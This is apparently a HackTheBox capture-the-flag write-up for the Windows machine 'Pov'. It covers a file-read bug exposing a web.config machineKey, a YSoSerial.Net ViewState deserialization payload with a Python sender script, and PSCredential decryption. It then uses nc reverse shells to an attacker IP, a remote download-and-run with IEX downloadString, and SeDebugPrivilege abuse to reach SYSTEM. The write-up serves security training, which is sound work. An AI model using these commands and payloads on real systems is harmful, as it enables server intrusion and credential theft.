Pov – HackTheBox Link to heading
- OS: Windows
- Difficulty: Medium
- Platform: HackTheBox
Summary Link to heading
Pov
is a medium Windows
machine from HackTheBox
. After performing sub-domains scans, we find a dev
virtual host for the available webserver. This new site, that seems like a blog, allows us to download a portfolio PDF. Analyzing how the server provides this file, we find it uses View State
. After some research, we use YSoSerial.Net
tool to generate a payload and connect to the victim machine. Once inside the victim machine, we are able to find credentials for another user called alaading
. We internally pivot to this user. This new user has the SeDebugPrivilege
disabled, but can be enabled using different tools. Once enabled, can use it to “hijack” a priviledged process and fully take control of the victim machine.
User Link to heading
Starting with a Nmap
scan shows only 1 port open: 80
HTTP
:
❯ sudo nmap -sVC -p80 10.10.11.251 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-15 18:45 -04
Nmap scan report for 10.10.11.251
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: pov.htb
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds
where we can see we are against a Microsoft Internet Information Services
(Microsoft IIS
) web server.
Visiting the site http://10.10.11.251
(where 10.10.11.251
is the target IP address) shows a simple website:
The site presents a project about cybersecurity. However, many of the buttons there do not work.
Since we cannot interact with the page, I will start looking for directories applying a Brute Force Directory Listing
with Gobuster
but got nothing.
At this point I will start searching for subdomains. For this, first add 10.10.11.251
with the domain pov.htb
, since pov.htb
is presented as the website name at the very bottom of the webpage (and as http-title
from Nmap
scan). We do this running:
❯ echo '10.10.11.251 pov.htb' | sudo tee -a /etc/hosts
Once added the domain to our /etc/hosts
file, let’s search for subdomains using ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://pov.htb/ -H 'Host: FUZZ.pov.htb' -fl 234
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://pov.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.pov.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 234
________________________________________________
dev [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 158ms]
:: Progress: [4989/4989] :: Job [1/1] :: 260 req/sec :: Duration: [0:00:28] :: Errors: 0 ::
where we find 1 subdomain: dev.pov.htb
. So I add this subdomain to my /etc/hosts
file, so now it looks like:
❯ cat /etc/hosts | tail -n 1
10.10.11.251 pov.htb dev.pov.htb
Now that we have added this site, we can visit it. First I check it with cURL
:
❯ curl -s http://dev.pov.htb
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://dev.pov.htb/portfolio/">here</a></body>
where we see that we are redirected to http://dev.pov.htb/portfolio
Visiting http://dev.pov.htb/portfolio
shows another webpage:
Scrolling down in this page, it allows us to download a PDF
file that is the CV from the designer:
If we download this CV it apparently is a normal CV:
I note that when I put my mouse over the download button (but not clicking on it) it calls a JavaScript
function called __doPostBack
. Looking at the source code from the page the function looks like:
var theForm = document.forms['form1'];
if (!theForm) {
theForm = document.form1;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
where it is calling some variables eventTarget
and eventArguent
to execute the action.
To check what happens when we click on Download CV
button, I will start a Burpsuite
session and intercept the request when we click on Download CV
button. If we do this we get the following:
where I can see the HTTP
request:
POST /portfolio/ HTTP/1.1
Host: dev.pov.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 357
Origin: http://dev.pov.htb
DNT: 1
Connection: close
Referer: http://dev.pov.htb/portfolio/
Upgrade-Insecure-Requests: 1
__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=pq4lVre5C%2BeE0zeQ7GhEylpWd60Dp5RKMQDIZjOnuFnsE4TMwTIgBobkoGJk2n3eD%2F2aWP0l4Ap2cIh98d8PLk%2Fi2uk%3D&__VIEWSTATEGENERATOR=8E0F0FA3&__EVENTVALIDATION=19foRXLpnWS5AHjpvopq9vbMZW8BAnmzZPMqWj3tx2KqbqPBU3OR1570e0DW5PuIIzjYQMCqfhlGC5NDM5NDlF1IPnamA%2BAJt5iU5ftodSZfiggU20q7HXkcXH7trj%2FIh8IJqw%3D%3D&file=cv.pdf
Based on the arguments the server is using View State
View State
is the method to preserve the Value of the Page and Controls between round trips. It is a Page-Level State Management technique. View State is turned on by default and normally serializes the data in every control on the page regardless of whether it is actually used during a post-backHere I note that is is calling, with the parameter file
, the file cv.pdf
.
We could try to manipulate what file is being called. So, I send the request to Repeater
in Burpsuite
(Ctrl+R
) and change the file
value where, eventually -and after playing with some files-, changing cv.pdf
to /web.config
works.
where we get the response:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/octet-stream
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=/web.config
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 May 2024 23:17:09 GMT
Connection: close
Content-Length: 866
<configuration>
<system.web>
<customErrors mode="On" defaultRedirect="default.aspx" />
<httpRuntime targetFramework="4.5" />
<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
</system.web>
<system.webServer>
<httpErrors>
<remove statusCode="403" subStatusCode="-1" />
<error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
</httpErrors>
<httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
</system.webServer>
</configuration>
HackTricks offers a good way to exploit ViewState
mechanism. We will need YSoSerial.Net
(which can be obtained from its Github repository) and pass it to a Virtual Machine with Windows
. Once there, we run the command:
C:\Users\gunzf0x\Downloads> ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "<Command Here>" --path="/portfolio/default.aspx" --approach="/" --decryptionalg="AES" --decryptionkey="<DescriptionKeyHere>" --validationalg="SHA1" --validationkey="<ValidationKeyHere>"
In my case, I go to Reverse Shell Generator
(https://www.revshells.com/), go to PowerShell #3 (Base64)
, put my attacker IP and listening port (10.10.16.2
as my attacker IP and 443
as the listening port in my case). Then, on the Windows
VM, run YSoSerial.Net
with the proper command as explained above:
C:\Users\gunzf0x\Downloads> ysoserial.exe -p ViewState -g TypeConfuseDelegate --path="/portfolio/default.aspx" --approach="/" --decryptionalg="AES" --decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGU<SNIP>HMAZQAoACkA"
Running, this, in my case, generates the following payload:
7OOGcG4TMXWXqCm9Qv4r%2BmtOJ2tPkHx2Cci8xMAorxYGxhDxmwf1qyLMtlPssodM%2BWwRa6cAQkCUqW%2FE%2BjOi3MLYuIf1Qg%2FNAD0bYrc1RGCxEAka%2FRxLC%2BXHNNkPtH9Cwffrc2nvNKc0v69%2BLzGAoJjElBNoxjDltsFUyhP%2FYWFkXPUDD3%2Bf1HU%2FCXj9Ayk3HSxzEfobLY4FxxJzBw8b1h%2F%2Ftz1ePGB86ngU9eLDN1VxvVd573PJPQ%2FJTI4rhOMBVl9iMEqDIpM9%2F3%2BrFFS7G0Yhkrltw%2BNFfC1oplYvvPMWhQFIdoKSFanWoHkYaP%2Fw4F1IGWXSq1u7PQLvpmg5P1evLtSDcUfWNLUiS%2Fd0XS9xP8BkBQuola45DF9iyy5MCb2BYbUswLVqlMt9YcsICABqK36TCHFK0wRK%2BBtX%2Fh2pHg8u5J8J4wdi0umjNQlgH2WhsmqA35LUcC5NfJLowO00Z%2FkU2m3PQOzOnmkZTjCg0eHVE4LUceMJ2NOhf%2B17gjcc4WD55%2Bvqt7zO6klqv8khzoEcxpr7zNlaFhfcJZMFpQ8dWVNs9j%2Fa1pbk4bzQ3CTWMPRGw%2BRl7V%2BTxL3O0G09hh9ZloR41ebpQBWY9bGB47gu2fxxdmnhFKpPFmEOD8HCdWO6j1lekEKRENGQWANtPX63fsXMSNAh4jP1RXFUHyV9LiJuDpcNXWkkHaddlZ5HuX8kZ0UT0MtJYVF18%2F21mnduTNEZrFk1tL4IVKOQa%2BUNJdTiZI0DfD%2FEdbAJecS93uj3VkrkmwzJF3ekGyHHDlgZ%2FBADw8LNhbEEd2MvlSKQmOLcGTsigUaCWJDGW9kGHSrXE5tLk3mm1JpcyxltH2VuxEwZ9A%2B%2BWYLHkMG4dmAmmEkiO0hGFRl4D4e1Jm%2BqLmIkKj0YAcbUnJdfuY7MVPxjplDiSpPzhxztgHVCWACgQKargy8zxxmclFjLDF5LJkeAcS27GbJS9swK0OgloqiMsk1Iv1zuFkvQOtDlNvFBtb8zkwAvGN%2FLxCVCYdWiWRZaUNHQLldDyMALNAUKXtS9zyeXG7O2iXW3VVSkx1nu4Ma2BcwUdWZr9D0xIqvu8UW3LwAORDi5A5y6P1q80lWv1qJF4IjXWtd6Yz7LWtnop3Ma8t5LH3qe99gOeVnohOvcXv7KflxLPFZ1ahekiCSRjRmBlgdyeidOAkg7esosKnp%2FXEfjuDhMravbOlUQCW8XlhYHsH34KB6Vps1a5%2BtyZenRRGt9r9DHRiQz0W%2FgZFkUk%2FKzJeJtQGM0vRPvF87jgpHzUcrvuFYRyMM1cdEg1rtMMuXqiIjQUoHM5AOBlBYxUws37qY6CUDfCis7X%2BeuJhqmlJL9CXFdB1%2BhVmZ9HIfWVIwwtfmiqRZ6DCnsR5LE73I%2FptBV2mInZMVL4YFh4WUonC9seAC7%2BWil8K8dFigrefYZfFZMGx4sI9jM8jKbue%2FpdPUUgeShKJQLx8PgqyK3PmuYcSqYfKo1H9K%2Buuo3ZlJsIHRu253L8ZMlSd6DrPfLX%2Ft8yxMpp06kgS2Yr6KjThBCbXDAVoci0ZVpez5ix%2FdBNIZIGv%2BjelNgxAIB6x%2BoTGYf4c0Ffryrvcl2CrjLpkSnU7kqoOTkZgUugUeEDAWyU3b0oHZ1JkqHBHqtc0gVA4QkDdDvGvVhcIMGy3iXVeU9A8LrJZYlIbdAuaNbnSI28k8lu5w2aDmmZEBiKqJXrd%2B7aQvSqYlwxl02BKB0LzhAmMrBCvP8rB%2BHugTGuLWJ3jxMZuJWek9%2FGvz4mrfzoTeWu6UfyHKkUaVNcyp1ndMr9ICmtPUNmBWTXeJg5T%2Bl98qNzi16pD%2F%2BnrCLzmf5vzt3iYOiwP7r8mFpSmT2uPMS2YMZ%2F5FaQLl0bfOoILeH5TMkfHDLKIKIC%2BXXHkTEiqL3areyGVlH1mVavzMeb2Zd7W%2Fe33v%2BjBHuw1pzTbWbsEtvrbzltA9FAVtFtBGXQBZvvfB%2BX6CG8eB0MDWpAVtRS%2BwVqCRVe2i78uIAMyzYhtkEiveq8GLyuYAu49p%2BpnQAsfekWhGFc8k73%2BiulLV%2Bk4xSLjq56DYRSCSBaq8XoLPT9ZOV0wAj%2FM9jNiH3fTN4bLnqC6ETl7g2L%2FSjRmbF9D6e%2F32g%2BLPWwweH%2FmHUCcQ1L254%2BCGZXhf4T4g%2B4t2AETja6F918YMMJk1TVLxVpPeDdPx4F8bAJL3%2FDQ7EQ%2BWPNJFT6%2B4mtJkn%2Fo1XcoAM7E4QzVg7nDOwr2L5mBHd02ykqY%2BUreJkkF0kWvDvaEJiTgF3v1mYw59agZStKYxv9VMBfJ%2BMiORT8Gh9iqiGLAFoOwbcQVoyGDT122ACwgGfmgQg6lcmkTuLECTa0QjlELrG76NUJi6dFb9%2FbqH6U%2F%2BFD9l8JYbFNdsVZQKfi%2FH68zKNdiUE31kuG5E64mHS8z2dv9v%2Bza83go5WyIh2EJQ88kTy4CKhOCfeSHqqybftpJIb2hSvSGR6Rf3j0tY3AQx9GtaMgyThDDvUIihPILyd5DTZnDSY1nSQMFeuX50AlMeqwIzPLFmXCuN9vy0W1LuLjnzMxdFblI6qxEIUq9HzPQKGTHjepmxx%2Fddt7IGu9bBeoqW6k2oHrGQEGgKa3KHyE8lWGxWAViFZYGlY9YtMq5TyLgn%2BnUZxG8d6G3ePE0bI2%2BYDvCRH69ofD%2FjxALK4UUCKGwP3QGLO1YmFKx0Tk3eWT4vx%2BiWktLDXVEokMBFZXFopuZQBRP12Q7oDPmRQtPRoUNxU3w0RsHjEDIzU5fQpfdPm1KrBQhJt1NVzT7yHBrSg8vujiBjgozskvCrPg75e1dNMmVDc7d3xrHoiCmlaACrxM%2B%2BJu1PcnTNtQaRXD3zk78Lwh6ZqRjof4V%2BiKKDC2o6D9klArbLo8HBx2XYedv59oL5v%2B6uWiDtiU%2FHw5ohtAt18fmb56mfKbWQWr%2Bo7xHh4eTCFDuyamAvcfLk0B9JAdQVRHAO5M8FVTc6siKA2F0Xxd8yJpS4fyU8b5bzildMftaIMGpWRavQXsUVEeuKZnCI6WNDurxx2uvTreAdCnVVFx7gOfRpHInywP2xGbwRrugQFhS54faF0Kw8N%2FHg9i4xhljPrN0JmCj2ObCMa%2Bne1r5qYiJSyd3DpDJB%2FKJP5PuP7BrK49GrlgMUxKHNplW8bcdzkoQ6onHJKbsaV7K24vOxkakqwyJxlGrS2%2Byua7RXEmB5m0dYkTJxiGz45Lxdp2u6bLPXG6ltFQKV%2BljKXzVdvrJ%2FRUAJEZKlf3aJ%2Bx5aEfLwOSOSZPpHTQeFVm5TDoE%2FHTshADXEMNQ%2Bu1vZjAV4WoAmUOAoWMFEc%2FY3UrDV%2Bkql6VOEBaE%2BVbuHNNK72buVn0aFRL%2BjmxyZjXZ%2Byk7hn9%2FNcgMzzToGTVJKUEVS%2B%2BYuDhvQJYt9SfFvwNjCb9thd7hNSZFrJii1vKS9nN1%2BIVu0irMn82WwAA2iAEQj%2FtOHOKLyaRYHv9yka9dX6bfxMV%2BuR4V%2F6cEI0N1zoHF1lLd8IuS%2BUhADhFGL2o%2BluhluuM%2FVW%2FpJn63vNIqcx1f%2FHwY%2BtCm0jBKVHFiiY%2FihEDQG5xQczaYhyqK575SzKYoyS5b5ky5LQI%2Bo3eFoM1ABvQzxdsP4LslZ57aaJUaNky4llWmW%2F785NadYr0n7Btv53Q84XI9cQSGg%2F58jCBOEm9248dpSUy2AZR0NwHm5b908ftGS6wtth1Ue3i4etopiFLDer4eMfnp%2BVq6BnM5XMZXOYFm4oVxOUkUJ3nHXkTqPMOvqHS3ftWC%2FOlRvG2j6%2Bnt3kn610sl0FcOo63daLKi%2BEpwwuY8H6B8knKuc5snacPkA4lPXDk9cGjVwmSsfaMuwtS9rJ7T2JqxykW7ZJobYI%2FGEQVvAlYmYbGoZRzr5vh6yPhVBtAoW5JyXtRO%2BQnUwmORRoQlBO1yF7sYvWid6GdSdN2gbLdh7uxS8W6QCLxhyuSh8I6zWOeWdjwqDyjCs1fcM5jSII3hQNZjpKBj0y7FeNfvKDpidq3jDjksHz7E3CDsl4pyiExI3uf9xhHjzQZbKDnVC%2ByI794yf8gQLNyZfqcxfDY3LbDA%2F0adHKFSe6vmDPOMyXkrzoSYkh1AhWwH4anB9hOnqcwg3pOaOaHP0ZqCWooA4%2FbsHeQMlNNPWoZuCzCDLB5DbRnS1b7T9LUlU0TDu2GBOw5HJXFXqusgdu98i%2FtE8yKTIzSQFdiLtT2miZtOKYe8TTc5i0%2FZBzxjdkH4zSzjF81PNX8lbPYQJUArQ6yymMPOIh0wu%2FFfTR8XoydzYfhcn%2FKSc2dkQfepoYVh%2Fe0HQf9Wf5EbicBXF2ZumcyUROd5%2Fj5kWNXn4BG74kk19hU9lS88jqnaCOtithxUcth5BVVNQd89iRxjEiNxyW2o7aIXMWzTMcoOu9vdIM7YzP%2BpaUxnvQFTh%2FxqRFjUy2rvSszjn%2FYK5LYpLctP3ROO%2BppxXoN7PTBOZrCSfM79TShqek%2BcOTBRpb%2Feivb0l2cvkVP1DrsiheoWVBkGFTgFKId6plAULSOsoHzRIqOPlFYqjvPlRadxmHixQwYEYbaICuPR8ZAMeWn%2BHo5GmgYmHefcXPFBY%2B3WmnFFs0dGR2DAOqGnGb%2FGRcb05n5MKsN9mbM5yU58PmbGkUt86j21V545LWRq9W%2BsFqYRkVPpUST8gPuGpUT216m0%2FcmO9eSfbwDgzEFvIdZMMF%2BRXql%2FB9HZZu8KQUsW%2Fbwz%2F7nAhsfjSiWRwzOdSzNZoIua65qphY1N8IYU%2BeNmdLUzG0LGT%2FiF4lF53FRbwMOuFwtv0ehw9WqOUWo7pwQx7A1Opj9lWq7ANLNEWcuNP%2FTfJE
Note that this payload will be different for your machine since the IP address will change.
Now, we have 2 options:
- Use
Burpsuite
, intercept the request as we have done when we clicked onDownload CV
and pass as__VIEWSTATE
parameter the payload (as was explained at HackTricks) - Make a simple
Python
script that sends this data, but via console. So if we lose the connection for any reason we can recover the connection in a quicker way.
import requests
import argparse
import sys
import urllib.parse
def parse_arguments()->argparse.Namespace:
parser = argparse.ArgumentParser(description="A simple argument parser example.")
# Add arguments
parser.add_argument('-u', '--url', type=str, help="Url to make POST request to. Example: http://dev.example.htb/example/", required=True)
parser.add_argument('-c', '--command', type=str, help='ViewState command', required=True)
return parser.parse_args()
def make_POST_request(url: str, command: str)->None:
generic_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1"}
payload = {"__EVENTTARGET": "download",
"__EVENTARGUMENT": '',
"__VIEWSTATE": urllib.parse.unquote(command),
"__VIEWSTATEGENERATOR": "8E0F0FA3",
"__EVENTVALIDATION": "pGfjsostEYtFuRQ+WLNYLVAVMkGFgPjb4CDyPOQ+k20Bf6VSQiuoaYE7iH2XNLMQRiPHNeCRYzI/Gxbh1N4NVUaITnLyalHjhxMVG+ZsotApeeHvWBirBzUW5IHovXP985Kdnw==",
"file": "cv.pdf"}
r = requests.post(url, headers=generic_headers, data=payload, verify=False)
if r.status_code != 200:
print(f"[!] Could not execute the payload. Code status {r.status_code!r}")
sys.exit(1)
print("[*] Payload succesfully executed.")
return
def main()->None:
# Get user arguments
args = parse_arguments()
# Make the malicious request
make_POST_request(args.url, args.command)
if __name__ == "__main__":
main()
so I run:
❯ python3 request_server_exploit.py --url 'http://dev.pov.htb/portfolio/' --command '7OOGcG4TMXWXq<SNIP>7pwQx7A1Opj9lWq7ANLNEWcuNP%2FTfJE'
and in my netcat
listener I get a connection as sfitz
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49673
whoami
pov\sfitz
At C:\Users\sfitz\Documents
I find an interesting file:
PS C:\windows\system32\inetsrv> dir C:\Users\sfitz\Documents
Directory: C:\Users\sfitz\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/25/2023 2:26 PM 1838 connection.xml
and checking the content of this file connection.xml
we have:
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
</Props>
</Obj>
</Objs>
From this credential file we can extract its content following instructions from HackTricks:
PS C:\windows\system32\inetsrv> $user = "alaading"
PS C:\windows\system32\inetsrv> $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6" | ConvertTo-SecureString
PS C:\windows\system32\inetsrv> $cred = New-Object System.Management.Automation.PSCredential($user, $pass)
PS C:\windows\system32\inetsrv> $cred.GetNetWorkCredential() | fl
UserName : alaading
Password : f8gQ8fynP44ek1m3
SecurePassword : System.Security.SecureString
Domain :
where we have credentials: alaading:f8gQ8fynP44ek1m3
Since we do not have any available services/ports open besides HTTP
on port 80
, we will attempt to pivot to alaading
user inside the machine. For this, we pass a netcat
binary for Windows
and RunasCs
(that can be downloaded from its Github repository) and send to my machine a CMD
reverse shell as user alaading
. For this we start a temporal Python
HTTP
server on port 8000
:
❯ ls && python3 -m http.server 8000
nc64.exe RunasCs.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
and in the target machine, download the files:
PS C:\Users\sfitz\Documents> wget http://10.10.16.2:8000/nc64.exe -Outfile C:\Users\Public\Downloads\nc.exe
PS C:\Users\sfitz\Documents> wget http://10.10.16.2:8000/RunasCs.exe -Outfile C:\Users\Public\Downloads\runascs.exe
PS C:\Users\sfitz\Documents> dir C:\Users\Public\Downloads
Directory: C:\Users\Public\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/15/2024 8:18 PM 45272 nc.exe
-a---- 5/15/2024 8:22 PM 51712 runascs.exe
Once all the files has been transferred, run netcat
as user alaading
using RunasCs
to send us a CMD
. Before this start another netcat
listener on port 443
in our attacker machine:
❯ rlwrap -cAr nc -lvnp 443
and in the victim machine, run:
PS C:\Users\sfitz\Documents> C:\Users\Public\Downloads\runascs.exe alaading f8gQ8fynP44ek1m3 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe" -t 10 --bypass-uac
No output received from the process.
We then get a shell as alaading
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49677
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
pov\alaading
where we can finally get the flag from user alaading
from this user’s Desktop.
NT Authority/System - Administrator Link to heading
Looking at alaading
privileges:
C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeDebugPrivilege
could be interesting. However, it is disabled.
First, I try to use FullPowers
to enable it, but failed. Then, following suggestions from this blog, we need to download psgetsys.ps1. Once downloaded, in the target machine I pass from CMD
to a Powershell
simply running:
C:\Windows\system32> powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
and then, after starting a Python
HTTP
server on port 8000
where psgetsys.ps1
is located (python3 -m http.server 8000
), I import the module from my machine:
PS C:\Windows\system32> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2:8000/psgetsys.ps1')
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2:8000/psgetsys.ps1')
Then, following the blog instructions we run:
PS C:\Windows\system32> Get-Process winlogon
Get-Process winlogon
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
255 12 2652 16404 0.20 552 1 winlogon
where in this case the Id
is the interesting stuff, in this case it is 552
(it might slighlty different in your case).
After running this command we see that SeDebugPrivilege
is enabled:
PS C:\Windows\system32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
However, if I change back to a CMD
(exit from the Powershell
session) the permission SeDebugPrivilege
appears as Disabled
again. So, from this Powershell
console with all the privileges, I send a new reverse shell with CMD
to another netcat
listener:
PS C:\Users\Public\Downloads> cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe
cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe
and now I got full privileges, but now on a CMD
:
❯ rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49677
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Public\Downloads>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
I have to say that from the full-privileged Powershell
session I tried to use psgetsys.ps1
to get a shell, but nothing happens:
PS C:\Users\Public\Downloads> import-module .\psgetsys.ps1
PS C:\Users\Public\Downloads> ImpersonateFromParentPid -ppid "552" -command "cmd.exe" -cmdargs "/c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe"
ImpersonateFromParentPid -ppid "552" -command "cmd.exe" -cmdargs "/c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe"
[+] Got Handle for ppid: 552
[+] Updated proc attribute list
[+] Starting cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe...False - pid: 0 - Last error: 2
So I go back to HackTricks and they show another Github repository called ‘SeDebugPrivilege-Exploit’. So I download it from its releases, pass the .exe
file to the victim machine and then, from the full-privilege CMD
, -and after starting another netcat
listener on port 4444
- run it using the id
from winlogon
previosuly found (552
in my case):
C:\Users\Public\Downloads>.\debug.exe 552 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 4444 -e C:\Windows\System32\cmd.exe"
.\debug.exe 552 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 4444 -e C:\Windows\System32\cmd.exe"
pid= 552
[+] New process is created successfully.
|-> PID : 2996
|-> TID : 3456
where I get another shell:
❯ rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49681
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Public\Downloads>
the “buggy” thing of this shell is that some commands do not show output, such as whoami
:
C:\Users\Public\Downloads>whoami
whoami
C:\Users\Public\Downloads>
Nevertheless, I note that I can read the Administrator
flag, so we have a shell with a full privilege user:
C:\Users\Public>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
853<SNIP>
and that’s it!
~Happy Hacking